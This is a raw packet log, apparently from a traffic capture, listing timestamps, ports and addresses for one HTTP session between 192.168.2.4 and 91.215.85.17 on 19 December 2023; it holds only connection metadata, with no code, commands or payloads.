Dec 19, 2023 03:22:29.446916103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.446949005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.446953058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.446969986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447007895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.447072029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447114944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447165012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447176933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447273970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.447390079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447432041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.447434902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447464943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447477102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.447494984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447578907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447591066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447616100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447618961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.447629929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.447639942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.447669983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.448008060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.448055983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.448071003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.448107958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.448136091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.448374033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.448565006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.448606014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.448621988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.448643923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.448677063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449096918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449134111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449139118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.449212074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449223995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449248075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.449259043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.449306011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449322939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449335098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449352980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449362040 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.449399948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.449882984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449935913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449953079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449970007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449981928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.449990988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450012922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450020075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450031996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450056076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450066090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450086117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450119972 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450150967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450162888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450174093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450193882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450206041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450236082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450248957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450259924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450277090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450314045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450368881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450404882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450407982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450586081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450604916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450623035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450634003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450651884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450706959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450746059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450840950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450881958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450922012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.450931072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450942993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.450982094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.451280117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451319933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451332092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451359034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451370001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.451392889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.451817989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451829910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451864958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451874018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.451881886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.451919079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.451941967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452373981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452408075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452451944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.452526093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452614069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452636003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.452682972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452740908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452780008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.452806950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452900887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.452939034 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.452965975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453000069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.453027964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453128099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453166962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.453417063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453537941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453574896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.453685045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453751087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453771114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453809977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.453835964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453876972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453928947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.453932047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.453970909 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.454139948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454209089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454250097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.454318047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454430103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454468012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.454536915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454602957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454647064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.454667091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454714060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454730034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.454771996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.454937935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455053091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455091953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.455199003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455235004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.455298901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455374002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455413103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.455476046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455539942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455589056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.455630064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455730915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455816984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455852032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.455909967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.455995083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456020117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456036091 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.456053019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.456114054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456191063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456231117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.456275940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456291914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456341982 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.456372023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456424952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456497908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456536055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.456820965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456886053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.456927061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.457444906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.457483053 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.457499027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.457601070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.457645893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.457683086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.457755089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.457792997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.457839012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.457938910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458040953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458080053 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.458102942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458208084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458247900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.458268881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458303928 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.458334923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458426952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458465099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.458527088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458609104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458650112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.458709002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458803892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458882093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.458920956 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.458987951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459062099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459099054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.459124088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459156990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.459186077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459316969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459364891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.459434986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459527016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459588051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.459594965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459661961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459845066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.459883928 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.460004091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460139990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460179090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.460230112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460267067 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.460297108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460395098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460433006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.460462093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460525036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460558891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.460606098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460694075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460787058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460796118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.460859060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460941076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.460973024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.461020947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461106062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461153030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.461185932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461222887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.461247921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461313963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461350918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.461394072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461467028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461503029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.461561918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461642981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461720943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461756945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.461802006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461903095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.461939096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462006092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462038994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462053061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462065935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462099075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462136984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462172031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462213993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462219954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462265968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462286949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462326050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462378979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462413073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462428093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462445974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462452888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462461948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462483883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462502956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462522030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462553024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462593079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462605000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462626934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462651014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462671995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462730885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462744951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462766886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462794065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462810993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462847948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462876081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462918043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462955952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.462955952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462980032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.462991953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463011026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463043928 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463073015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463104963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463124037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463140965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463217020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463229895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463252068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463282108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463294983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463298082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463335991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463352919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463375092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463423967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463437080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463468075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463473082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463485003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463520050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463540077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463576078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463577986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463609934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463623047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463639975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463645935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463684082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463694096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463707924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463722944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463759899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463778019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463790894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463808060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463823080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463844061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463849068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463861942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463898897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463917971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463960886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.463995934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.463995934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464014053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464049101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.464071989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.464153051 CET	80	49738	91.215.85.17	192.168.2.4
